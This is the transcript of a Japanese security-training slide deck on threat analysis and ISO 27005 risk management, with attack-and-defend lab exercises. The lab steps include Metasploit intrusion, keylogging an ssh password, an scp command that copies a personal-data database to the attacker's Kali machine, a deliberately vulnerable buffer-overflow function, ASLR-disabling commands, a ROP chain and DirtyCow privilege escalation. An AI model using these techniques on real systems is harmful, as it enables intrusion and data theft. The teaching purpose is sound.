Upgrade to Pro — share decks privately, control downloads, hide ads and more …

脅威解析概論

Sponsored · Your Podcast. Everywhere. Effortlessly. Share. Educate. Inspire. Entertain. You do you. We'll handle the rest.
Avatar for Ren Kimura Ren Kimura
August 12, 2025
190

 脅威解析概論

Avatar for Ren Kimura

Ren Kimura

August 12, 2025
Tweet

Transcript

  1. 2 ⾃⼰紹介 株式会社リチェルカセキュリティ 創業者&CEO ⽊村 廉 (X: @RKX1209) 興味: 新規事業開発、ファイナンス、法規、

    リスク管理、Red Team、システムソフトウェア 神⼾⼤学→CMU→リチェルカ。seccamp14〜25参加。 経歴: https://rkx1209.github.io/about/
  2. 6 ① 組織の⽬的を定義する ⾃宅 男性A ⾞屋 ⽬的 「実現しようとしてめざす事柄。めざす所。」 男性Aが1000万円の現⾦で⾞を買う。 利害関係者

    「ビジネスやプロジェクトにおいて、直接‧間接的に 影響を受ける可能性のある個⼈やグループ」 男性A。 1000万円の⾞を購⼊する
  3. 7 ② 資産を洗い出す ⾃宅 男性A ⾞屋 1000万円の⾞を購⼊する 主要資産 「組織にとって価値のある情報⼜はプロセス」 1000万円の現⾦、⾞。

    ⽀援資産 「主要資産の基礎となる(情報システムの)構成要素。」 ⾃宅のドア、⾃宅の⾦庫。 ドア (ピンシリンダー錠) ⾦庫 (ピンタンブラー錠) 主要資産 ⽀援資産 主要資産 ⽀援資産 「ISO/IEC 27005:2022」の定義を引⽤または要約
  4. 8 ③ 脅威と脆弱性を洗い出す ⾃宅 男性A ⾞屋 脆弱性 「脅威によってつけこまれる可能性のある 資産または管理策の弱点」 ピッキング耐性の低いピンシリンダー錠。

    脅威 「システム⼜は組織に損害を与える可能性がある 潜在的な原因」 ピッキングでピンシリンダー錠を開錠し、 許可なく⾃宅に侵⼊する ドア (ピンシリンダー錠) ⾦庫 (ピンタンブラー錠) ⽀援資産 ⽀援資産 「ISO/IEC 27005:2022」の定義を引⽤または要約 ピッキングで開錠し、 ⾃宅に侵⼊する。(TH17) 脅威 ピッキング耐性の低い ピンシリンダー錠。(VH08) 脆弱性 ピッキングで開錠し、 現⾦を窃盗する。(TH06) 脅威 ピッキング耐性の低い ピンタンブラー錠。(VH08) 脆弱性 1000万円の⾞を購⼊する
  5. 9 典型的な脅威と脆弱性の例 「ISO/IEC 27005:2022」A.2.5.1から引⽤ カテゴリ No. 脅威の記述 ⼈為的⾏為 TH06 媒体⼜は⽂書の盗難

    … TH17 施設への認可されていない侵⼊ 典型的な脅威の例 典型的な脆弱性の例 カテゴリ No. 脆弱性の記述 ハードウェア VH08 保護されない保管
  6. 10 ④ リスクとリスク源を洗い出す ⾃宅 男性A ⾞屋 リスク 「⽬的※の達成を不確かにするもの」 ピッキングによってドアが開錠され⾃宅に侵⼊、 ⾦庫も同様に開錠されて、主要資産1000万円を

    盗まれることで、⾞が買えなくなる。 リスク源 「リスクを⽣じさせる⼒を潜在的にもっている要素」 強盗A ドア (ピンシリンダー錠) ⾦庫 (ピンタンブラー錠) 主要資産 ※今回の⽬的は「男性Aが1000万円の⾞を購⼊すること」こと。 資産の「獲得」を⽬的と した「アマチュア」 リスク源 「ISO/IEC 27005:2022」の定義を引⽤または要約 1000万円の⾞を購⼊する 泥棒A
  7. 11 典型的なリスク源の例 「ISO/IEC 27005:2022」A.2.3から引⽤ 典型的なリスク源の例 リスク源 攻撃の例及び通常の⽅法 国家関連 攻撃的な操作を⻑期間(安定した資源,⼿順)にわたっ て実⾏し,そのツール及び⽅法をターゲットのトポロジに適応させる能

    ⼒である... 組織犯罪 オンラインですぐ⼊⼿できる攻撃キットが広まっているため,⾦銭が得ら れること⼜は詐欺の⽬的のためにますます⾼度かつ組織化された操作を ⾏うようにっている。 イデオロギー活動家 攻撃の⽅法及び攻撃の⾼度さは,サイバーテロリストのそれと⽐較的似 ているが,それほど破壊的ではない意図によって動機付けられている。 アマチュア スクリプトキディハッカー⼜はIT 知識が豊富なプロファイル;社会的認 知,おもしろみ,挑戦を求める気持ちによって動機付けられている。
  8. 12 典型的なリスク源の動機の例 典型的なリスク源の動機の例 征服 資源⼜は経済市場の⻑期的な獲得,政治的権⼒の獲得⼜は価値の押し付け 獲得 資源⼜は便益の獲得に突き動かされた, 攻撃的な固い決意に基づく略奪的アプローチ 防⽌ 第三者の活動を制限するための攻撃的アプローチ

    維持 イデオロギー的,政治的,経済的⼜は社会的状況を維持するための努⼒ 防御 明確にわかっている相⼿による攻撃的なふるまいを防⽌する,⼜は相⼿をスピード ダウンさせることでその活動を防⽌する,などの⽬的によって,厳密に防御的な フォールバック(後退的)スタンス⼜は明⽰的に脅迫的な態度(例えば,威嚇)を採⽤す ること。 ⽣き残り あらゆる犠牲を払ってエンティティを保護すること,これは⾮常に攻撃的な活動に つながる可能性がある。 「ISO/IEC 27005:2022」A.2.3から引⽤
  9. 13 ①組織の⽬的を定義する 組織で実現したい⽬的を定義する。 直接‧間接的に影響を受ける可能性のある 個⼈やグループを列挙する。 ④リスクとリスク源を洗い出す 組織の⽬的達成を不確かにするものと その潜在的な原因となりうる要素を 洗い出す。 ②資産を洗い出す

    組織にとって価値のある情報やプロセスと それらを⽀える構成要素を洗い出す。 ③脅威と脆弱性を洗い出す システム⼜は組織に損害を与える可能性が ある潜在的な原因と、つけこまれる可能性 のある資産または管理策の弱点を洗い出す。 外部環境 内部環境 新たな脅威‧脆弱性の発⾒に伴って、 資産のモデルを作り直す。 組織の⽬的変更に伴い、リスクの 受容可能なレベルを変更する。 社員の⼊退社に伴って 資産が増減する。 新サービスのローンチ に伴って社内で遵守すべき SLA※が定義される。 ※Service Level Agreement リスク特定のサイクル 💡C6『脅威情報で磨くセキュリティマネジメント実践ワークショップ』
  10. 14 例: 新たな脅威‧脆弱性が⾒つかった後の対応 組織のセキュリティ計画に沿って①~④を実施。 必要な対策を施しリスクを受容可能なレベルに抑えた。 💡 組織に新たな脅威・脆弱性が存在することを指摘。 ホワイトハッカー (セキュリティベンダー) セキュリティマネージャー

    (ユーザー企業) 新しい脅威・脆弱性が生み出すリスクとその影響レベルを試 算し、必要な対策を講じる。 (③→④) 新しい脅威・脆弱性の発見に伴い、資産の棚卸範囲の拡大 や、資産モデルを作りなおす。 (③→②)
  11. 15 演習1: 簡易DBネットワークの脅威、脆弱性、リスクを洗い出そう ネットワークポート 運⽤者のマシン Ubuntu 14.10 本番環境サーバー Ubuntu 24.04

    sshポート ⽬的 本番環境上のデータベースを 漏洩させずに守りきる。 利害関係者 運⽤者 運⽤者 データベース 主要資産 データベース ⽀援資産 本番環境サーバー (Ubuntu 24.10) 運⽤者のマシン (Ubuntu 14.10) 脅威‧脆弱性 未検証 リスク 未検証 sshで接続
  12. 16 演習1: 簡易DBネットワークの脅威、脆弱性、リスクを洗い出そう ネットワークポート 運⽤者のマシン Ubuntu 14.10 本番環境サーバー Ubuntu 24.04

    sshポート データベース sshで接続 Kali Linux ペンテスターのマシン 検証 ペンテスター (あなた) 簡易DBネットワーク 同⼀LANに存在 (VirtualBoxのNATネットワーク) id: pass: id: pass: id: pass: 導通確認 ifconfig && ping
  13. 17 演習1: 簡易DBネットワークの脅威、脆弱性、リスクを洗い出そう nmap -sS -sV -Pn -O <victimのIPアドレス> ペンテスターのマシン(kali)から運⽤者のマシン(victim)にスキャンをかける。

    ペンテスターのマシン(kali)上で以下を実⾏する。 得られた情報をもとに、ペンテスターのマシン(kali)から Metasploitを使って運⽤者のマシンのroot権限を奪ってみよう! ① 偵察 ② 初期アクセス&権限昇格
  14. 18 演習1: 簡易DBネットワークの脅威、脆弱性、リスクを洗い出そう root権限で侵⼊した運⽤者のマシン(victim)から、本番環境サーバーに ログインしよう。 本番環境サーバーに侵⼊したら、ペンテスターのマシンに DBファイル(personal_data.db)を持ち出そう。 ③ 横展開 ④

    データ持ち出し 運⽤者として本番環境のsshサーバーのpass(iamvictimdb)を⼊⼒しつつ、 ペンテスターとしてその⼊⼒を奪う⼀⼈⼆役を演じてください。 scp personal_data.db kali@<kaliのIPアドレス>:/home/kali ※ --keymap=/home/victim/jp.mapを与えてください。
  15. 21 回答1: 簡易DBネットワークの脅威、脆弱性、リスクを洗い出そう ネットワークポート 運⽤者のマシン Ubuntu 14.10 本番環境サーバー Ubuntu 24.04

    sshポート 運⽤者 データベース sshで接続 脅威‧脆弱性 • 運⽤者マシンの許可されていない使⽤ (TH18) • 運⽤者マシンに対するスパイ⾏為 (TH04) • 本番環境サーバーの許可されていない使⽤ (TH18) • DBファイルの盗難 (TH08) リスク 運⽤者のマシンを踏み台にされ、本番環境サーバーに 不正にログインされたあとDBファイルを持ち出される • 運⽤者マシン上の公知の⽋陥 (VS02) • 通常権限でDBファイルを持ち出せる (VS06)
  16. 22 ⼈‧環境‧ソフト‧ハードといった軸で整理された典型的な脅威例 TTP (Tactics, Techniques, and Procedures)※ Tactics (戦術): Techniques(技術)を⽤いて、攻撃者が達成したい⽬的(=Why)

    ※ ⽯川 朝久『脅威インテリジェンスの教科書』より引⽤ Techniques (技術): Tactics(戦術)を実現するために、攻撃で実際に使われる 技術(=What) Procedures (⼿順): Tactics, Techniquesを実現するための⼀連のアクション (=how) ISO/IEC 27005:2022 A.2.5.1で定義される典型的な脅威例(TH) 脅威のモデル化 その他のモデル (DREAD, STRIDE…) 💡 C2『脅威・攻撃手法を読み解こう:脅威インテリジェンスの活用・作成技法』
  17. 24 回答1: 簡易DBネットワークの脅威、脆弱性、リスクを洗い出そう 脅威‧脆弱性 Reconnaissance(偵察) Initial Access(初期アクセス)& Privilege Escalation(権限昇格) T1595.002

    Active Scanning: Vulnerability Scanning T1210 Exploitation of Remote Services T1068 Exploitation for Privilege Escalation Collection(情報収集)& Credential Access(認証情報取得) T1056 Input Capture: Keylogging T1056.001 Credentials from Input Capture
  18. 26 リスクの「特定」→「分析」→「評価」→「対応」 リスク特定 リスクを発⾒し、認識し、記述するプロセスである。 これはリスク源及び事象の特定を含んでいる。 「ISO/IEC 27005:2022」の定義を引⽤または要約 リスク分析 リスクが与える影響度と起こりやすさの⼆軸で、 当該リスクのレベルを決定する。

    リスク評価 組織がリスクを許容可能な範囲(受容範囲)と照らし合 わせ、対応のための優先度づけを⾏う。 リスク対応 リスクに対して「回避」「低減」「移転」「保有」の いずれかを実施する。 管理策 リスク対応を⾏うための具体的な施策。 「識別」「防御」「検知」「対応」「復旧」などの観 点で分類される。 💡C6『脅威情報で磨くセキュリティマネジメント実践ワークショップ』 p13のサイクル
  19. 27 リスク回避: リスクを発⽣させる原因⾃体を取り除く。 リスク低減: リスクの影響度と発⽣確率を下げる。 OSの緩和策(mitigation)の有効化、紛失時のデータ遠隔消去。 ソフトウェア上の既知の脆弱性の修正、誤ったアクセス権の修正。 リスク対応 リスク移転: リスクの影響度と発⽣確率を下げる。

    サイバー保険への加⼊(インシデント発⽣時の損害補填、定額での役務受領) リスク保有: リスクの対応をせず発⽣した場合はそのまま受け⼊れること。 アプリケーションの⼀部機能をFunction as a Service (FaaS)に移管。
  20. 28 識別: リスクを可視化するための施策。 防御: リスクが発⽣しないように予防、緩和するための施策。 OSの緩和策(mitigation)の有効化、アクセス制御、データセキュリティ。 資産管理表の作成、ポリシー作成、法令‧規制の要求事項整理。 管理策 検知: 発⽣したリスクを発⾒し、分析するための施策

    ログシステムの導⼊、アラートの監視体制構築。 対応: 発⽣したリスクの影響拡⼤封じ込めや改善策を講じるための施策 復旧: リスクの影響を受けた資産を復旧するための施策 💡 C4『インシデントレスポンスで攻撃を解き明かせ』
  21. 29 「ISO/IEC 27002:2024」から引⽤ カテゴリ No. タイプ タイトル 組織的管理策 5.7 識別、検知、対応

    脅威インテリジェンス 技術的管理策 8.8 識別、防御 技術的脆弱性の管理 8.9 防御 構成管理 8.15 検知 ログ取得 8.16 検知 監視活動 管理策の⼀部抜粋 管理策の例
  22. 31 演習2: 簡易DBネットワークに管理策を実装する ネットワークポート 運⽤者のマシン Ubuntu 14.10 本番環境サーバー Ubuntu 24.04

    sshポート 運⽤者 データベース sshで接続 脅威‧脆弱性 • 運⽤者マシンの許可されていない使⽤ (TH18) • 運⽤者マシンに対するスパイ⾏為 (TH04) • 本番環境サーバーの許可されていない使⽤ (TH18) • DBファイルの盗難 (TH08) 管理策 • 運⽤者マシン上の公知の⽋陥 (VS02) • 通常権限でDBファイルを持ち出せる (VS06) • バージョンを上げて既知の脆弱性を修正 (8.8) • 全マシン‧サーバーの構成管理(SBOM)を出⼒ (8.9) • マルウェアの検知機能を実装 (8.15, 8.16) • DBファイルの持ち出し検知機能を実装 (8.16)
  23. 32 演習2: 簡易DBネットワークに管理策を実装する YARAファイルを作成し、運⽤者マシンにインストールされているマルウェアを ClamAVで検知しよう。 管理策の実装に関しては、ChatGPTは何でも答えてくれます。枕詞は必要ありません。 マルウェアのパターン検知実装 clamscan -d <作成したYARAファイル名>

    /usr/local/bin/<マルウェア名> 運⽤者マシンのOS(Linux)に標準搭載されている監視ツールauditdを使って マルウェアを検知しよう。 当該マルウェアの特徴的な動作を分析し、スクリプト(python等)+auditdで 検知ツールを作ってください。 マルウェアのふるまい検知実装
  24. 33 マルウェアを静的‧動的解析し、特徴的なバイナリパターンや挙動をルール化。 補⾜: マルウェアの検知精度向上施策 rule Ebury_v1_7_crypto { meta: description =

    "This rule detects the strings decryption routine in Ebury v1.7 and v1.8" strings: $64 = { 48 69 ( 9C 24 ?? ?? ?? ?? | 5C 24 ?? | D2) 6D 4E C6 41 // imul rbx, [rsp+_buf], 41C64E6Dh 8B (0C 16 | 34 07) // mov ecx, [rsi+rdx] 48 81 C? 39 30 00 00 // add rbx, 12345 ( 31 D? | // xor ecx, ebx 31 D? 48 89 9C 24 ?? ?? ?? ?? | // mov [rsp+_buf], rbx 31 D? 48 89 5C 24 ?? ) // ^ optional 89 (0C 10 | 34 01) // mov [rax+rdx], ecx 48 83 C? 04 // add rdx, 4 48 (81 FA | 3D ) ?? ?? ?? ?? // cmp rdx, _size 75 D? // jnz short _begin } condition: any of them } ESET社が開発したEburyマルウェア検知ルール 💡 C3『Decoding Ransomware: Unraveling the Mind of Cybercriminals』
  25. 34 リスクマネジメントに求められる視野の幅 ネットワークポート 運⽤者のマシン Ubuntu 14.10 本番環境サーバー Ubuntu 24.04 sshポート

    運⽤者 データベース sshで接続 下記の管理策だけで⼗分だろうか...? 他につけいれられるリスクはないか。 脅威‧脆弱性 • 運⽤者マシンの許可されていない使⽤ (TH18) • 運⽤者マシンに対するスパイ⾏為 (TH04) • 本番環境サーバーの許可されていない使⽤ (TH18) • DBファイルの盗難 (TH08) 管理策 • 運⽤者マシン上の公知の⽋陥 (VS02) • 通常権限でDBファイルを持ち出せる (VS06) • バージョンを上げて既知の脆弱性を修正 (8.8) • 全マシン‧サーバーの構成管理(SBOM)を出⼒ (8.9) • マルウェアの検知機能を実装 (8.15, 8.16) • DBファイルの持ち出し検知機能を実装 (8.16)
  26. 36 演習3: ゼロデイ脆弱性を使って侵⼊する(偵察編) ソースコードは以下のレポジトリにある。 ただし、victim上で動作しているのは最新バージョン(main HEAD)ではない。 https://github.com/RKX1209/seccamp25-c1-server GitHub webページ上の検索では引っかからない。なぜか? ①

    偵察 GitHubのweb検索はmainブランチの最新バージョンしか検索できない。 ↑GitHub APIを使って上記のレポジトリから、victim上で動作している ソースコードを取り出すツールを作ってみよう。 💡 C5『Offensive Intelligence: From Collection to Analysis』
  27. 37 スタックバッファオーバーフローの悪⽤テクニック 取得したvulnserver.cにはスタックバッファオーバーフローの脆弱性がある。 0x555555554000 0x55555575d000 0x7ffffffdd000 heap .text stack メモリレイアウト

    プログラム #define MAX_LEN 512 void process_input(const char *input) { char buf[128]; memcpy(buf, input, MAX_LEN); }c char buf[128] inputが128バイト以上の⻑さの⽂字列であった場合、 bufを超えてコピーしてしまう。 input buf
  28. 39 スタックバッファオーバーフローの悪⽤テクニック 0x555555554000 0x55555575d000 0x7ffffffdd000 heap .text stack メモリレイアウト スタックレイアウト

    char buf[128] input buf main関数のreturn address char buf [128] シェルコードを配置し、関数の戻りアドレスをシェルコードに上書きする shellcode バッファ オーバーフロー発生 mainではなく shellcodeにジャンプ
  29. 40 演習3: ゼロデイ脆弱性を使って侵⼊する(初期アクセス編) echo 0 | sudo tee /proc/sys/kernel/randomize_va_space gcc

    -z execstack -no-pie -fno-stack-protector -o test vulnserver.c ./test # 起動 gdb -q ./test # デバッグ victimまたはUbuntu22.04上にエクスプロイトテスト⽤のプログラムを作る。 ② 初期アクセス エクスプロイトを開発し~/testおよび、victimの4444ポート上で動く ~/vulnserverで、victim権限のシェルを⽴ち上げられれば成功。 /home/victim/dirtycow-mem ③ 権限昇格 侵⼊したvictimのシェルで下記を実⾏しroot化。DirtyCow(CVE-2016-5195)。 「x64でスタックバッファオーバーフローをやってみる」 https://inaz2.hatenablog.com/entry/2014/07/04/001851
  30. 41 スタックバッファオーバーフロー+Return Oriented Prorgramming (ROP) .textやライブラリ中の命令列を再利⽤するエクスプロイトテクニック。 0x68ea123b 4096 0x63af9c00 0x691c000

    0x6100a74f 0x0 0x62f10bd0 0x0 0x6711f000 0x68ea123b: pop rdx (arg3) ret 0x63af9c00: pop rsi (arg2) ret 0x6100a74f: pop rdi (arg1) ret 0x62f10bd0: pop rax (syscall num) ret 0x6711f000: syscall ret rdx = 4096
  31. 42 スタックバッファオーバーフロー+Return Oriented Prorgramming (ROP) .textやライブラリ中の命令列を再利⽤するエクスプロイトテクニック。 0x68ea123b 4096 0x63af9c00 0x691c000

    0x6100a74f 0x0 0x62f10bd0 0x0 0x6711f000 0x68ea123b: pop rdx (arg3) ret 0x63af9c00: pop rsi (arg2) ret 0x6100a74f: pop rdi (arg1) ret 0x62f10bd0: pop rax (syscall num) ret 0x6711f000: syscall ret rsi = 0x691c000 rdx = 4096
  32. 43 スタックバッファオーバーフロー+Return Oriented Prorgramming (ROP) .textやライブラリ中の命令列を再利⽤するエクスプロイトテクニック。 0x68ea123b 4096 0x63af9c00 0x691c000

    0x6100a74f 0x0 0x62f10bd0 0x0 0x6711f000 0x68ea123b: pop rdx (arg3) ret 0x63af9c00: pop rsi (arg2) ret 0x6100a74f: pop rdi (arg1) ret 0x62f10bd0: pop rax (syscall num) ret 0x6711f000: syscall ret rsi = 0x691c000 rdx = 4096 rdi = 0
  33. 44 スタックバッファオーバーフロー+Return Oriented Prorgramming (ROP) .textやライブラリ中の命令列を再利⽤するエクスプロイトテクニック。 0x68ea123b 4096 0x63af9c00 0x691c000

    0x6100a74f 0x0 0x62f10bd0 0x0 0x6711f000 0x68ea123b: pop rdx (arg3) ret 0x63af9c00: pop rsi (arg2) ret 0x6100a74f: pop rdi (arg1) ret 0x62f10bd0: pop rax (syscall num) ret 0x6711f000: syscall ret rsi = 0x691c000 rdx = 4096 rdi = 0 rax = 0
  34. 45 スタックバッファオーバーフロー+Return Oriented Prorgramming (ROP) .textやライブラリ中の命令列を再利⽤するエクスプロイトテクニック。 0x68ea123b 4096 0x63af9c00 0x691c000

    0x6100a74f 0x0 0x62f10bd0 0x0 0x6711f000 0x68ea123b: pop rdx (arg3) ret 0x63af9c00: pop rsi (arg2) ret 0x6100a74f: pop rdi (arg1) ret 0x62f10bd0: pop rax (syscall num) ret 0x6711f000: syscall ret rsi = 0x691c000 rdx = 4096 rdi = 0 rax = 0 syscall read(0, 0x691c000, 4096)
  35. 46 演習4: ゼロデイ脆弱性を使って侵⼊する2 (時間があれば) gcc -no-pie -fno-stack-protector -o test vulnserver.c

    ./test # 起動 gdb -q ./test # デバッグ victimまたはUbuntu22.04上にエクスプロイトテスト⽤のプログラムを作る。 ② 初期アクセス エクスプロイトを開発し~/testおよび、victimの4444ポート上で動く ~/vulnserverで、victim権限のシェルを⽴ち上げられれば成功。 /home/victim/dirtycow-mem ③ 権限昇格 侵⼊したvictimのシェルで下記を実⾏しroot化。DirtyCow(CVE-2016-5195)。 「ROPによるDEP回避をやってみる」 https://inaz2.hatenablog.com/entry/2014/07/04/001851
  36. 47 補⾜: ゼロデイ脆弱性の攻略と緩和策の共進 Ricerca Security, Inc. "I'll ask your body":

    SMBGhost pre-auth RCE abusing Direct Memory Access structs https://ricercasecurity.blogspot.com/2020/04/ • ASLR (Address Space Layout Randmization) • Stack Canary • SMEP /SMAP (Supervisor Mode Execution Prevention) • PML4 randomization • CET (Control Enforcement Technology) • Sandbox mechanism ◦ eBPF ◦ Hypervisor ◦ TEE (SGX, Trust Zone)
  37. 48 資産モデル、脅威、脆弱性の⾒直し ネットワークポート 運⽤者のマシン Ubuntu 14.10 本番環境サーバー Ubuntu 24.04 sshポート

    運⽤者 データベース sshで接続 脅威‧脆弱性 • 運⽤者マシンの許可されていない使⽤ (TH18) • 運⽤者マシンに対するスパイ⾏為 (TH04) • 本番環境サーバーの許可されていない使⽤ (TH18) • DBファイルの盗難 (TH08) • 運⽤者マシン上の公知の⽋陥 (VS02) • 通常権限でDBファイルを持ち出せる (VS06) • ソフトウェアのテストが不⼗分 (VS01) • 契約に違反した開発者がソースコードを github上に公開 (VO28) 開発者 (@RKX1209) github ソースコード 管理策 • バージョンを上げて既知の脆弱性を修正 (8.8) • 全マシン‧サーバーの構成管理(SBOM)を出⼒ (8.9) • マルウェアの検知機能を実装 (8.15, 8.16) • DBファイルの持ち出し検知機能を実装 (8.16) • 契約書を根拠とし公開取りやめを開発者に指⽰ (5.21) • 委託先の活動、サービス提供を監視 (5.22)
  38. 49 演習5: 管理策の追加実装 (時間があれば) • victim, victimdbからSBOMを出⼒してください。Trivy, Syft… • ファジングツールを使ってvulnserver.cから脆弱性を⾃動で⾒つけてください。AFL

    • victimdbからデータベースファイルが持ち出されたことを検知するシステムを開発し てください。 SBOMの出⼒、テストの実施、DLP※の実装 ※Data Loss Prevention: データ漏洩検知、防⽌のための技術
  39. 51 経営⽬標からセキュリティ上の⽬的を導出しよう ネットワークポート 運⽤者のマシン Ubuntu 14.10 本番環境サーバー Ubuntu 24.04 sshポート

    ⽬的 本番環境上のデータベースを 漏洩させずに守りきる。 利害関係者 運⽤者 運⽤者 データベース 主要資産 データベース ⽀援資産 本番環境サーバー (Ubuntu 24.10) 運⽤者のマシン (Ubuntu 14.10) 脅威‧脆弱性 未検証 リスク 未検証 sshで接続 なぜ「本番環境上のDBを守る」のか? 経営⽬標「年内に⾃社サービスで1000万円の売上を達成したい」 → 「DB漏洩による反則⾦⽀払いのリスク期待値が-100万円」 → 「DB漏洩によるユーザー離脱リスク期待値が-200万円」 → 「合計-300万円のリスクを受容できない(=1000万円の売上未達)」 → セキュリティ⽬的「本番環境上のDBを守る」 上記の導出は、リスクマネジメントサイクル(p.13, 26)を「法的」「⼈的」 リスクの観点から⾏っているに過ぎない。本質的には常に同じサイクル。
  40. 52 経営⽬標の⽴案と従属要素の導出に使えるフレームワーク 財務諸表(P/L, B/S) + 財務健全性指標 管理会計 + 逆ツリー展開 投資した資本に対して

    効率良く売上をあげるための指標と、 売上⾼に対して 効率良く利益をあげるための指標を 分析する。 『ROIC経営』より